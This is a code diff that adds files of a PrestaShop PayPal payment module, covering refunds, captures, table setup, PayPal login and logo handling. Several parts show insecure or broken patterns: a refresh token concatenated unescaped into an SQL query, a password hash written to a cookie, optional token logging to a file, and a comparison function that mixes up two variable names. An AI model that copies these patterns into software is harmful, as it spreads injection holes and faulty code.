'&'.http_build_query($params, '', '&')); + } + + public function _addNewPrivateMessage($id_order, $message) + { + if (!(bool)$id_order) + return false; + + $new_message = new Message(); + $message = strip_tags($message, '
        '); + + if (!Validate::isCleanHtml($message)) + $message = $this->l('Payment message is not valid, please check your module.'); + + $new_message->message = $message; + $new_message->id_order = (int)$id_order; + $new_message->private = 1; + + return $new_message->add(); + } + + private function _doTotalRefund($id_order) + { + $paypal_order = PayPalOrder::getOrderById((int)$id_order); + if (!$this->isPayPalAPIAvailable() || !$paypal_order) + return false; + + $order = new Order((int)$id_order); + if (!Validate::isLoadedObject($order)) + return false; + + $products = $order->getProducts(); + $currency = new Currency((int)$order->id_currency); + if (!Validate::isLoadedObject($currency)) + $this->_errors[] = $this->l('Not a valid currency'); + + if (count($this->_errors)) + return false; + + $decimals = (is_array($currency) ? (int)$currency['decimals'] : (int)$currency->decimals) * _PS_PRICE_DISPLAY_PRECISION_; + + // Amount for refund + $amt = 0.00; + + foreach ($products as $product) + $amt += (float)($product['product_price_wt']) * ($product['product_quantity'] - $product['product_quantity_refunded']); + $amt += (float)($order->total_shipping) + (float)($order->total_wrapping) - (float)($order->total_discounts); + + // check if total or partial + if (Tools::ps_round($order->total_paid_real, $decimals) == Tools::ps_round($amt, $decimals)) + $response = $this->_makeRefund($paypal_order['id_transaction'], $id_order); + else + $response = $this->_makeRefund($paypal_order['id_transaction'], $id_order, (float)($amt)); + + $message = $this->l('Refund operation result:').'
        '; + foreach ($response as $key => $value) + $message .= $key.': '.$value.'
        '; + + if (array_key_exists('ACK', $response) && $response['ACK'] == 'Success' && $response['REFUNDTRANSACTIONID'] != '') + { + $message .= $this->l('PayPal refund successful!'); + if (!Db::getInstance()->Execute('UPDATE `'._DB_PREFIX_.'paypal_order` SET `payment_status` = \'Refunded\' WHERE `id_order` = '.(int)$id_order)) + die(Tools::displayError('Error when updating PayPal database')); + + $history = new OrderHistory(); + $history->id_order = (int)$id_order; + $history->changeIdOrderState((int)Configuration::get('PS_OS_REFUND'), $history->id_order); + $history->addWithemail(); + $history->save(); + } + else + $message .= $this->l('Transaction error!'); + + $this->_addNewPrivateMessage((int)$id_order, $message); + + Tools::redirect($_SERVER['HTTP_REFERER']); + } + + private function _doCapture($id_order) + { + $paypal_order = PayPalOrder::getOrderById((int)$id_order); + if (!$this->isPayPalAPIAvailable() || !$paypal_order) + return false; + + $order = new Order((int)$id_order); + $currency = new Currency((int)$order->id_currency); + + $paypal_lib = new PaypalLib(); + $response = $paypal_lib->makeCall($this->getAPIURL(), $this->getAPIScript(), 'DoCapture', + '&'.http_build_query(array('AMT' => (float)$order->total_paid, 'AUTHORIZATIONID' => $paypal_order['id_transaction'], + 'CURRENCYCODE' => $currency->iso_code, 'COMPLETETYPE' => 'Complete'), '', '&')); + $message = $this->l('Capture operation result:').'
        '; + + foreach ($response as $key => $value) + $message .= $key.': '.$value.'
        '; + + if ((array_key_exists('ACK', $response)) && ($response['ACK'] == 'Success') && ($response['PAYMENTSTATUS'] == 'Completed')) + { + $order_history = new OrderHistory(); + $order_history->id_order = (int)$id_order; + + if (version_compare(_PS_VERSION_, '1.5', '<')) + $order_history->changeIdOrderState(Configuration::get('PS_OS_WS_PAYMENT'), (int)$id_order); + else + $order_history->changeIdOrderState(Configuration::get('PS_OS_WS_PAYMENT'), $order); + $order_history->addWithemail(); + $message .= $this->l('Order finished with PayPal!'); + } + elseif (isset($response['PAYMENTSTATUS'])) + $message .= $this->l('Transaction error!'); + + if (!Db::getInstance()->Execute(' + UPDATE `'._DB_PREFIX_.'paypal_order` + SET `capture` = 0, `payment_status` = \''.pSQL($response['PAYMENTSTATUS']).'\', `id_transaction` = \''.pSQL($response['TRANSACTIONID']).'\' + WHERE `id_order` = '.(int)$id_order)) + die(Tools::displayError('Error when updating PayPal database')); + + $this->_addNewPrivateMessage((int)$id_order, $message); + + Tools::redirect($_SERVER['HTTP_REFERER']); + } + + private function _updatePaymentStatusOfOrder($id_order) + { + if (!(bool)$id_order || !$this->isPayPalAPIAvailable()) + return false; + + $paypal_order = PayPalOrder::getOrderById((int)$id_order); + if (!$paypal_order) + return false; + + $paypal_lib = new PaypalLib(); + $response = $paypal_lib->makeCall($this->getAPIURL(), $this->getAPIScript(), 'GetTransactionDetails', + '&'.http_build_query(array('TRANSACTIONID' => $paypal_order['id_transaction']), '', '&')); + + if (array_key_exists('ACK', $response)) + { + if ($response['ACK'] == 'Success' && isset($response['PAYMENTSTATUS'])) + { + $history = new OrderHistory(); + $history->id_order = (int)$id_order; + + if ($response['PAYMENTSTATUS'] == 'Completed') + $history->changeIdOrderState(Configuration::get('PS_OS_PAYMENT'), (int)$id_order); + elseif (($response['PAYMENTSTATUS'] == 'Pending') && ($response['PENDINGREASON'] == 'authorization')) + $history->changeIdOrderState((int)(Configuration::get('PAYPAL_OS_AUTHORIZATION')), (int)$id_order); + elseif ($response['PAYMENTSTATUS'] == 'Reversed') + $history->changeIdOrderState(Configuration::get('PS_OS_ERROR'), (int)$id_order); + $history->addWithemail(); + + if (!Db::getInstance()->Execute(' + UPDATE `'._DB_PREFIX_.'paypal_order` + SET `payment_status` = \''.pSQL($response['PAYMENTSTATUS']).($response['PENDINGREASON'] == 'authorization' ? '_authorization' : '').'\' + WHERE `id_order` = '.(int)$id_order)) + die(Tools::displayError('Error when updating PayPal database')); + } + + $message = $this->l('Verification status :').'
        '; + $this->formatMessage($response, $message); + $this->_addNewPrivateMessage((int)$id_order, $message); + + return $response; + } + + return false; + } + + public function fetchTemplate($name) + { + if (version_compare(_PS_VERSION_, '1.4', '<')) + $this->context->smarty->currentTemplate = $name; + elseif (version_compare(_PS_VERSION_, '1.5', '<')) + { + $views = 'views/templates/'; + if (@filemtime(dirname(__FILE__).'/'.$name)) + return $this->display(__FILE__, $name); + elseif (@filemtime(dirname(__FILE__).'/'.$views.'hook/'.$name)) + return $this->display(__FILE__, $views.'hook/'.$name); + elseif (@filemtime(dirname(__FILE__).'/'.$views.'front/'.$name)) + return $this->display(__FILE__, $views.'front/'.$name); + elseif (@filemtime(dirname(__FILE__).'/'.$views.'admin/'.$name)) + return $this->display(__FILE__, $views.'admin/'.$name); + } + + return $this->display(__FILE__, $name); + } + + public static function getPayPalCustomerIdByEmail($email) + { + return Db::getInstance()->getValue(' + SELECT `id_customer` + FROM `'._DB_PREFIX_.'paypal_customer` + WHERE paypal_email = \''.pSQL($email).'\''); + } + + public static function getPayPalEmailByIdCustomer($id_customer) + { + return Db::getInstance()->getValue(' + SELECT `paypal_email` + FROM `'._DB_PREFIX_.'paypal_customer` + WHERE `id_customer` = '.(int)$id_customer); + } + + public static function addPayPalCustomer($id_customer, $email) + { + if (!PayPal::getPayPalEmailByIdCustomer($id_customer)) + { + Db::getInstance()->Execute(' + INSERT INTO `'._DB_PREFIX_.'paypal_customer` (`id_customer`, `paypal_email`) + VALUES('.(int)$id_customer.', \''.pSQL($email).'\')'); + + return Db::getInstance()->Insert_ID(); + } + + return false; + } + + private function warningsCheck() + { + if (Configuration::get('PAYPAL_PAYMENT_METHOD') == HSS && Configuration::get('PAYPAL_BUSINESS_ACCOUNT') == 'paypal@prestashop.com') + $this->warning = $this->l('You are currently using the default PayPal e-mail address, please enter your own e-mail address.').'
        '; + + /* Check preactivation warning */ + if (Configuration::get('PS_PREACTIVATION_PAYPAL_WARNING')) + $this->warning .= (!empty($this->warning)) ? ', ' : Configuration::get('PS_PREACTIVATION_PAYPAL_WARNING').'
        '; + + if (!function_exists('curl_init')) + $this->warning .= $this->l('In order to use your module, please activate cURL (PHP extension)'); + } + + private function loadLangDefault() + { + $paypal_country_default = (int)Configuration::get('PAYPAL_COUNTRY_DEFAULT'); + $this->default_country = ($paypal_country_default ? (int)$paypal_country_default : (int)Configuration::get('PS_COUNTRY_DEFAULT')); + $this->iso_code = $this->getCountryDependency(Tools::strtoupper($this->context->language->iso_code)); + } + + public function formatMessage($response, &$message) + { + foreach ($response as $key => $value) + $message .= $key.': '.$value.'
        '; + } + + private function checkCurrency($cart) + { + $currency_module = $this->getCurrency((int)$cart->id_currency); + + if ((int)$cart->id_currency == (int)$currency_module->id) + return true; + else + return false; + } + + public static function getShopDomainSsl($http = false, $entities = false) + { + if (method_exists('Tools', 'getShopDomainSsl')) + return Tools::getShopDomainSsl($http, $entities); + else + { + if (!($domain = Configuration::get('PS_SHOP_DOMAIN_SSL'))) + $domain = self::getHttpHost(); + if ($entities) + $domain = htmlspecialchars($domain, ENT_COMPAT, 'UTF-8'); + if ($http) + $domain = (Configuration::get('PS_SSL_ENABLED') ? 'https://' : 'http://').$domain; + return $domain; + } + } + + public function validateOrder($id_cart, $id_order_state, $amount_paid, $payment_method = 'Unknown', $message = null, $transaction = array(), $currency_special = null, $dont_touch_amount = false, $secure_key = false, Shop $shop = null) + { + if ($this->active) + { + // Set transaction details if pcc is defined in PaymentModule class_exists + if (isset($this->pcc)) + $this->pcc->transaction_id = (isset($transaction['transaction_id']) ? $transaction['transaction_id'] : ''); + + if (version_compare(_PS_VERSION_, '1.5', '<')) + parent::validateOrder((int)$id_cart, (int)$id_order_state, (float)$amount_paid, $payment_method, $message, $transaction, $currency_special, $dont_touch_amount, $secure_key); + else + parent::validateOrder((int)$id_cart, (int)$id_order_state, (float)$amount_paid, $payment_method, $message, $transaction, $currency_special, $dont_touch_amount, $secure_key, $shop); + + if (count($transaction) > 0) + PayPalOrder::saveOrder((int)$this->currentOrder, $transaction); + + $this->setPayPalAsConfigured(); + } + } + + protected function getGiftWrappingPrice() + { + if (version_compare(_PS_VERSION_, '1.5.3.0', '>=')) + $wrapping_fees_tax_inc = $this->context->cart->getGiftWrappingPrice(); + else + { + $wrapping_fees = (float)(Configuration::get('PS_GIFT_WRAPPING_PRICE')); + $wrapping_fees_tax = new Tax((int)(Configuration::get('PS_GIFT_WRAPPING_TAX'))); + $wrapping_fees_tax_inc = $wrapping_fees * (1 + (((float)($wrapping_fees_tax->rate) / 100))); + } + + return (float)Tools::convertPrice($wrapping_fees_tax_inc, $this->context->currency); + } + + public function redirectToConfirmation() + { + $shop_url = PayPal::getShopDomainSsl(true, true); + + // Check if user went through the payment preparation detail and completed it + $detail = unserialize($this->context->cookie->express_checkout); + + if (!empty($detail['payer_id']) && !empty($detail['token'])) + { + $values = array('get_confirmation' => true); + $link = $shop_url._MODULE_DIR_.$this->name.'/express_checkout/payment.php'; + + if (version_compare(_PS_VERSION_, '1.5', '<')) + Tools::redirectLink($link.'?'.http_build_query($values, '', '&')); + else + Tools::redirect(Context::getContext()->link->getModuleLink('paypal', 'confirm', $values)); + } + } + + /** + * Check if the current page use SSL connection on not + * + * @return bool uses SSL + */ + public function usingSecureMode() + { + if (isset($_SERVER['HTTPS'])) + return ($_SERVER['HTTPS'] == 1 || Tools::strtolower($_SERVER['HTTPS']) == 'on'); + // $_SERVER['SSL'] exists only in some specific configuration + if (isset($_SERVER['SSL'])) + return ($_SERVER['SSL'] == 1 || Tools::strtolower($_SERVER['SSL']) == 'on'); + + return false; + } + + protected function getCurrentUrl() + { + $protocol_link = $this->usingSecureMode() ? 'https://' : 'http://'; + $request = $_SERVER['REQUEST_URI']; + $pos = strpos($request, '?'); + + if (($pos !== false) && ($pos >= 0)) + $request = Tools::substr($request, 0, $pos); + + $params = urlencode($_SERVER['QUERY_STRING']); + + return $protocol_link.Tools::getShopDomainSsl().$request.'?'.$params; + } + + /** + * Use $this->comp instead of bccomp which is not added in all versions of PHP + * @param float $num1 number 1 to compare + * @param float $num2 number 2 to compare + * @param [type] $scale [description] + */ + public function comp($num1, $num2, $scale = null) + { + // check if they're valid positive numbers, extract the whole numbers and decimals + if (!preg_match("/^\+?(\d+)(\.\d+)?$/", $num1, $tmp1)|| !preg_match("/^\+?(\d+)(\.\d+)?$/", $num2, $tmp2)) + return ('0'); + + // remove leading zeroes from whole numbers + $num1 = ltrim($tmp1[1], '0'); + $num2 = ltrim($tmp2[1], '0'); + + // first, we can just check the lengths of the numbers, this can help save processing time + // if $num1 is longer than $num2, return 1.. vice versa with the next step. + if (Tools::strlen($num1) > Tools::strlen($num2)) + return 1; + else + { + if (Tools::strlen($num1) < Tools::strlen($num2)) + return -1; + + // if the two numbers are of equal length, we check digit-by-digit + else + { + + // remove ending zeroes from decimals and remove point + $dec1 = isset($tmp1[2]) ? rtrim(substr($tmp1[2], 1), '0') : ''; + $dec2 = isset($tmp2[2]) ? rtrim(substr($tmp2[2], 1), '0') : ''; + + // if the user defined $scale, then make sure we use that only + if ($scale != null) + { + $dec1 = substr($dec1, 0, $scale); + $dec2 = substr($dec2, 0, $scale); + } + + // calculate the longest length of decimals + $dLen = max(Tools::strlen($dec1), Tools::strlen($dec2)); + + // append the padded decimals onto the end of the whole numbers + $num1 .= str_pad($dec1, $d_len, '0'); + $num2 .= str_pad($dec2, $d_len, '0'); + + // check digit-by-digit, if they have a difference, return 1 or -1 (greater/lower than) + for ($i = 0; $i < Tools::strlen($num1); $i++) + { + if ((int)$num1{$i} > (int)$num2{$i}) + return 1; + elseif((int)$num1{$i} < (int)$num2{$i}) + return -1; + } + + // if the two numbers have no difference (they're the same).. return 0 + return 0; + } + } + } +} diff --git a/modules/paypal/paypal_install.php b/modules/paypal/paypal_install.php new file mode 100755 index 0000000..2d8160b --- /dev/null +++ b/modules/paypal/paypal_install.php @@ -0,0 +1,175 @@ + + * @copyright 2007-2014 PrestaShop SA + * @version Release: $Revision: 14390 $ + * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) + * International Registered Trademark & Property of PrestaShop SA + */ + +if (!defined('_PS_VERSION_')) + exit; + +class PayPalInstall +{ + /** + * Create PayPal tables + */ + public function createTables() + { + /* Set database */ + if (!Db::getInstance()->Execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'paypal_order` ( + `id_order` int(10) unsigned NOT NULL, + `id_transaction` varchar(255) NOT NULL, + `id_invoice` varchar(255) DEFAULT NULL, + `currency` varchar(10) NOT NULL, + `total_paid` varchar(50) NOT NULL, + `shipping` varchar(50) NOT NULL, + `capture` int(2) NOT NULL, + `payment_date` varchar(50) NOT NULL, + `payment_method` int(2) unsigned NOT NULL, + `payment_status` varchar(255) DEFAULT NULL, + PRIMARY KEY (`id_order`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8')) + return false; + + /* Set database */ + if (!Db::getInstance()->Execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'paypal_customer` ( + `id_paypal_customer` int(10) unsigned NOT NULL AUTO_INCREMENT, + `id_customer` int(10) unsigned NOT NULL, + `paypal_email` varchar(255) NOT NULL, + PRIMARY KEY (`id_paypal_customer`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8 AUTO_INCREMENT=1')) + return false; + + if (!Db::getInstance()->Execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'paypal_login_user` ( + `id_paypal_login_user` INT(11) AUTO_INCREMENT, + `id_customer` INT(11) NOT NULL, + `token_type` VARCHAR(255) NOT NULL, + `expires_in` VARCHAR(255) NOT NULL, + `refresh_token` VARCHAR(255) NOT NULL, + `id_token` VARCHAR(255) NOT NULL, + `access_token` VARCHAR(255) NOT NULL, + `account_type` VARCHAR(255) NOT NULL, + `user_id` VARCHAR(255) NOT NULL, + `verified_account` VARCHAR(255) NOT NULL, + `zoneinfo` VARCHAR(255) NOT NULL, + `age_range` VARCHAR(255) NOT NULL, + PRIMARY KEY (`id_paypal_login_user`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8')) + return false; + + } + + /** + * Set configuration table + */ + public function updateConfiguration($paypal_version) + { + Configuration::updateValue('PAYPAL_SANDBOX', 0); + Configuration::updateValue('PAYPAL_HEADER', ''); + Configuration::updateValue('PAYPAL_BUSINESS', 0); + Configuration::updateValue('PAYPAL_BUSINESS_ACCOUNT', 'paypal@prestashop.com'); + Configuration::updateValue('PAYPAL_API_USER', ''); + Configuration::updateValue('PAYPAL_API_PASSWORD', ''); + Configuration::updateValue('PAYPAL_API_SIGNATURE', ''); + Configuration::updateValue('PAYPAL_EXPRESS_CHECKOUT', 0); + Configuration::updateValue('PAYPAL_CAPTURE', 0); + Configuration::updateValue('PAYPAL_PAYMENT_METHOD', WPS); + Configuration::updateValue('PAYPAL_NEW', 1); + Configuration::updateValue('PAYPAL_DEBUG_MODE', 0); + Configuration::updateValue('PAYPAL_SHIPPING_COST', 20.00); + Configuration::updateValue('PAYPAL_VERSION', $paypal_version); + Configuration::updateValue('PAYPAL_COUNTRY_DEFAULT', (int)Configuration::get('PS_COUNTRY_DEFAULT')); + + // PayPal v3 configuration + Configuration::updateValue('PAYPAL_EXPRESS_CHECKOUT_SHORTCUT', 1); + } + + /** + * Delete PayPal configuration + */ + public function deleteConfiguration() + { + Configuration::deleteByName('PAYPAL_SANDBOX'); + Configuration::deleteByName('PAYPAL_HEADER'); + Configuration::deleteByName('PAYPAL_BUSINESS'); + Configuration::deleteByName('PAYPAL_API_USER'); + Configuration::deleteByName('PAYPAL_API_PASSWORD'); + Configuration::deleteByName('PAYPAL_API_SIGNATURE'); + Configuration::deleteByName('PAYPAL_BUSINESS_ACCOUNT'); + Configuration::deleteByName('PAYPAL_EXPRESS_CHECKOUT'); + Configuration::deleteByName('PAYPAL_PAYMENT_METHOD'); + Configuration::deleteByName('PAYPAL_TEMPLATE'); + Configuration::deleteByName('PAYPAL_CAPTURE'); + Configuration::deleteByName('PAYPAL_DEBUG_MODE'); + Configuration::deleteByName('PAYPAL_COUNTRY_DEFAULT'); + Configuration::deleteByName('PAYPAL_VERSION'); + + /* USE PAYPAL LOGIN */ + Configuration::deleteByName('PAYPAL_LOGIN'); + Configuration::deleteByName('PAYPAL_LOGIN_CLIENT_ID'); + Configuration::deleteByName('PAYPAL_LOGIN_SECRET'); + Configuration::deleteByName('PAYPAL_LOGIN_TPL'); + /* /USE PAYPAL LOGIN */ + + // PayPal v3 configuration + Configuration::deleteByName('PAYPAL_EXPRESS_CHECKOUT_SHORTCUT'); + } + + /** + * Create a new order state + */ + public function createOrderState() + { + if (!Configuration::get('PAYPAL_OS_AUTHORIZATION')) + { + $order_state = new OrderState(); + $order_state->name = array(); + + foreach (Language::getLanguages() as $language) + { + if (Tools::strtolower($language['iso_code']) == 'fr') + $order_state->name[$language['id_lang']] = 'Autorisation acceptée par PayPal'; + else + $order_state->name[$language['id_lang']] = 'Authorization accepted from PayPal'; + } + + $order_state->send_email = false; + $order_state->color = '#DDEEFF'; + $order_state->hidden = false; + $order_state->delivery = false; + $order_state->logable = true; + $order_state->invoice = true; + + if ($order_state->add()) + { + $source = dirname(__FILE__).'/../../img/os/'.Configuration::get('PS_OS_PAYPAL').'.gif'; + $destination = dirname(__FILE__).'/../../img/os/'.(int)$order_state->id.'.gif'; + copy($source, $destination); + } + Configuration::updateValue('PAYPAL_OS_AUTHORIZATION', (int)$order_state->id); + } + } +} diff --git a/modules/paypal/paypal_login/PayPalLoginUser.php b/modules/paypal/paypal_login/PayPalLoginUser.php new file mode 100755 index 0000000..17c3b00 --- /dev/null +++ b/modules/paypal/paypal_login/PayPalLoginUser.php @@ -0,0 +1,110 @@ + 'isInt', + 'token_type' => 'isString', + 'expires_in' => 'isString', + 'refresh_token' => 'isString', + 'id_token' => 'isString', + 'access_token' => 'isString', + 'account_type' => 'isString', + 'user_id' => 'isString', + 'verified_account' => 'isString', + 'zoneinfo' => 'isString', + 'age_range' => 'isString', + + ); + + public function __construct($id = false, $id_lang = false) + { + parent::__construct($id, $id_lang); + } + + public function getFields() + { + parent::validateFields(); + foreach (array_keys($this->fieldsValidate) as $field) + $fields[$field] = $this->$field; + return $fields; + } + + public static function getPaypalLoginUsers($id_paypal_login_user = false, $id_customer = false, $refresh_token = false) + { + $sql = " + SELECT `id_paypal_login_user` + FROM `"._DB_PREFIX_."paypal_login_user` + WHERE 1 + "; + + if ($id_paypal_login_user && Validate::isInt($id_paypal_login_user)) + $sql .= " AND `id_paypal_login_user` = '".(int)$id_paypal_login_user."' "; + + if ($id_customer && Validate::isInt($id_customer)) + $sql .= " AND `id_customer` = '".(int)$id_customer."' "; + + if ($refresh_token) + $sql .= " AND `refresh_token` = '".$refresh_token."' "; + + $results = DB::getInstance()->executeS($sql); + $logins = array(); + + if ($results && count($results)) + { + foreach ($results as $result) + $logins[$result['id_paypal_login_user']] = new PaypalLoginUser((int)$result['id_paypal_login_user']); + } + + return $logins; + } + + public static function getByIdCustomer($id_customer) + { + $login = self::getPaypalLoginUsers(false, $id_customer); + + if ($login && count($login)) + $login = current($login); + else + $login = false; + + return $login; + } +} + + +?> \ No newline at end of file diff --git a/modules/paypal/paypal_login/paypal_login.php b/modules/paypal/paypal_login/paypal_login.php new file mode 100755 index 0000000..5c6ce23 --- /dev/null +++ b/modules/paypal/paypal_login/paypal_login.php @@ -0,0 +1,247 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class PayPalLogin +{ + private $_logs = array(); + private $enable_log = false; + + private $paypal_connect = null; + + public function __construct() + { + $this->paypal_connect = new PayPalConnect(); + } + + public function getIdentityAPIURL() + { + if (Configuration::get('PAYPAL_SANDBOX')) + //return 'www.sandbox.paypal.com'; + return 'api.sandbox.paypal.com'; + else + return 'api.paypal.com'; + } + + public function getTokenServiceEndpoint() + { + if (Configuration::get('PAYPAL_SANDBOX')) + // return '/webapps/auth/protocol/openidconnect/v1/tokenservice'; + return '/v1/identity/openidconnect/tokenservice'; + else + return '/v1/identity/openidconnect/tokenservice'; + } + + public function getUserInfoEndpoint() + { + return '/v1/identity/openidconnect/userinfo'; + } + + public static function getReturnLink() + { + // return 'http://requestb.in/1jlaizq1'; + if (method_exists(Context::getContext()->shop, 'getBaseUrl')) + return Context::getContext()->shop->getBaseUrl().'modules/paypal/paypal_login/paypal_login_token.php'; + else + return 'http://'.Configuration::get('PS_SHOP_DOMAIN').'/modules/paypal/paypal_login/paypal_login_token.php'; + } + + + + public function getAuthorizationCode() + { + unset($this->_logs); + + if (Context::getContext()->cookie->isLogged()) + return $this->getRefreshToken(); + + $params = array( + 'grant_type' => 'authorization_code', + 'code' => Tools::getValue('code'), + 'redirect_url' => PayPalLogin::getReturnLink() + ); + + $request = http_build_query($params, '', '&'); + $result = $this->paypal_connect->makeConnection($this->getIdentityAPIURL(), $this->getTokenServiceEndpoint(), $request, false, false, true); + + if ($this->enable_log === true) + { + $handle = fopen(dirname(__FILE__).'/Results.txt', 'a+'); + fwrite($handle, "Request => ".print_r($request, true)."\r\n"); + fwrite($handle, "Result => ".print_r($result, true)."\r\n"); + fwrite($handle, "Journal => ".print_r($this->_logs, true."\r\n")); + fclose($handle); + } + + $result = Tools::jsonDecode($result); + + if ($result) + { + + $login = new PayPalLoginUser(); + + $customer = $this->getUserInformations($result->access_token, $login); + + if (!$customer) + return false; + + $temp = PaypalLoginUser::getByIdCustomer((int)Context::getContext()->customer->id); + + if ($temp) + $login = $temp; + + $login->id_customer = $customer->id; + $login->token_type = $result->token_type; + $login->expires_in = (string)(time() + (int)$result->expires_in); + $login->refresh_token = $result->refresh_token; + $login->id_token = $result->id_token; + $login->access_token = $result->access_token; + + $login->save(); + + return $login; + } + } + + public function getRefreshToken() + { + unset($this->_logs); + $login = PaypalLoginUser::getByIdCustomer((int)Context::getContext()->customer->id); + + if (!is_object($login)) + return false; + + $params = array( + 'grant_type' => 'refresh_token', + 'refresh_token' => $login->refresh_token + ); + + $request = http_build_query($params, '', '&'); + $result = $this->paypal_connect->makeConnection($this->getIdentityAPIURL(), $this->getTokenServiceEndpoint(), $request, false, false, true); + + if ($this->enable_log === true) + { + $handle = fopen(dirname(__FILE__).'/Results.txt', 'a+'); + fwrite($handle, "Request => ".print_r($request, true) . "\r\n"); + fwrite($handle, "Result => ".print_r($result, true) . "\r\n"); + fwrite($handle, "Journal => ".print_r($this->_logs, true."\r\n")); + fclose($handle); + } + + $result = Tools::jsonDecode($result); + + if ($result) + { + $login->access_token = $result->access_token; + $login->expires_in = (string)(time() + $result->expires_in); + $login->save(); + return $login; + } + + return false; + } + + private function getUserInformations($access_token, &$login) + { + + unset($this->_logs); + + $headers = array( + // 'Content-Type:application/json', + 'Authorization: Bearer '.$access_token + ); + + $params = array( + 'schema' => 'openid' + ); + + $request = http_build_query($params, '', '&'); + $result = $this->paypal_connect->makeConnection($this->getIdentityAPIURL(), $this->getUserInfoEndpoint(), $request, false, $headers, true); + + if ($this->enable_log === true) + { + $handle = fopen(dirname(__FILE__).'/Results.txt', 'a+'); + fwrite($handle, "Request => ".print_r($request, true) . "\r\n"); + fwrite($handle, "Result => ".print_r($result, true) . "\r\n"); + fwrite($handle, "Headers => ".print_r($headers, true) . "\r\n"); + fwrite($handle, "Journal => ".print_r($this->_logs, true."\r\n")); + fclose($handle); + } + + $result = Tools::jsonDecode($result); + + if ($result) + { + $customer = new Customer(); + $customer = $customer->getByEmail($result->email); + + if (!$customer) + { + $customer = $this->setCustomer($result); + } + + $login->account_type = $result->account_type; + $login->user_id = $result->user_id; + $login->verified_account = $result->verified_account; + $login->zoneinfo = $result->zoneinfo; + $login->age_range = $result->age_range; + + return $customer; + } + + return false; + } + + + private function setCustomer($result) + { + $customer = new Customer(); + $customer->firstname = $result->given_name; + $customer->lastname = $result->family_name; + if (version_compare(_PS_VERSION_, '1.5.0', '>')) + $customer->id_lang = Language::getIdByIso(strstr($result->language, '_', true)); + $customer->birthday = $result->birthday; + $customer->email = $result->email; + $customer->passwd = Tools::encrypt(Tools::passwdGen()); + $customer->save(); + + $result_address = $result->address; + + $address = new Address(); + $address->id_customer = $customer->id; + $address->id_country = Country::getByIso($result_address->country); + $address->alias = 'My address'; + $address->lastname = $customer->lastname; + $address->firstname = $customer->firstname; + $address->address1 = $result_address->street_address; + $address->postcode = $result_address->postal_code; + $address->city = $result_address->locality; + $address->phone = $result->phone_number; + + $address->save(); + + return $customer; + } +} diff --git a/modules/paypal/paypal_login/paypal_login_token.php b/modules/paypal/paypal_login/paypal_login_token.php new file mode 100755 index 0000000..989f8ce --- /dev/null +++ b/modules/paypal/paypal_login/paypal_login_token.php @@ -0,0 +1,34 @@ +getAuthorizationCode(); +if ($obj) +{ + $context = Context::getContext(); + $customer = new Customer((int)$obj->id_customer); + $context->cookie->id_customer = (int)($customer->id); + $context->cookie->customer_lastname = $customer->lastname; + $context->cookie->customer_firstname = $customer->firstname; + $context->cookie->logged = 1; + $customer->logged = 1; + $context->cookie->is_guest = $customer->isGuest(); + $context->cookie->passwd = $customer->passwd; + $context->cookie->email = $customer->email; + $context->customer = $customer; + $context->cookie->write(); +} + +?> + + \ No newline at end of file diff --git a/modules/paypal/paypal_logos.php b/modules/paypal/paypal_logos.php new file mode 100755 index 0000000..b671ae7 --- /dev/null +++ b/modules/paypal/paypal_logos.php @@ -0,0 +1,147 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class PayPalLogos +{ + private $iso_code = null; + + const LOCAL = 'Local'; + const HORIZONTAL = 'Horizontal'; + const VERTICAL = 'Vertical'; + + public function __construct($iso_code) + { + $this->iso_code = $iso_code; + } + + public function getLogos() + { + $file = dirname(__FILE__).'/'._PAYPAL_LOGO_XML_; + + if (!file_exists($file)) + return false; + + $xml = simplexml_load_file($file); + + if (isset($xml) && $xml != false) + { + foreach ($xml->country as $item) + { + $tmp_iso_code = (string)$item->attributes()->iso_code; + $logos[$tmp_iso_code] = (array)$item; + } + + if (!isset($logos[$this->iso_code])) + $result = $this->getLocalLogos($logos['default'], 'default'); + else + $result = $this->getLocalLogos($logos[$this->iso_code], $this->iso_code); + + $result['default'] = $this->getLocalLogos($logos['default'], 'default'); + + return $result; + } + + return false; + } + + public function getCardsLogo($vertical = false) + { + $logos = $this->getLogos(); + + $orientation = $vertical === true ? self::VERTICAL : self::HORIZONTAL; + $logo_ref = self::LOCAL.'PayPal'.$orientation.'SolutionPP'; + + if (array_key_exists($logo_ref, $logos)) + return $logos[$logo_ref]; + elseif (($vertical !== false) && isset($logos[self::LOCAL.'PayPal'.self::HORIZONTAL.'SolutionPP'])) + return $logos[self::LOCAL.'PayPal'.self::HORIZONTAL.'SolutionPP']; + + if (isset($logos['default'][self::LOCAL.'Local'.$orientation.'SolutionPP'])) + return _MODULE_DIR_._PAYPAL_MODULE_DIRNAME_.$logos['default'][self::LOCAL.'Local'.$orientation.'SolutionPP']; + + return false; + } + + public function getLocalLogos(array $values, $iso_code) + { + foreach ($values as $key => $value) + if (!is_array($value)) + { + // Search for image file name + preg_match('#.*/([\w._-]*)$#', $value, $logo); + + if ((count($logo) == 2) && (strstr($key, 'Local') === false)) + { + $destination = _PAYPAL_MODULE_DIRNAME_.'/img/logos/'.$iso_code.'_'.$logo[1]; + $this->updatePictures($logo[0], $destination); + + // Define the local path after picture have been downloaded + $values['Local'.$key] = _MODULE_DIR_.$destination; + + // Load back office cards path + if (file_exists(dirname(__FILE__).'/img/bo-cards/'.Tools::strtoupper($iso_code).'_bo_cards.png')) + $values['BackOfficeCards'] = _MODULE_DIR_._PAYPAL_MODULE_DIRNAME_.'/img/bo-cards/'.Tools::strtoupper($iso_code).'_bo_cards.png'; + else if (file_exists(dirname(__FILE__).'/img/bo-cards/default.png')) + $values['BackOfficeCards'] = _MODULE_DIR_._PAYPAL_MODULE_DIRNAME_.'/img/bo-cards/default.png'; + } + // Use the local version + else if (isset($values['Local'.$key])) + $values['Local'.$key] 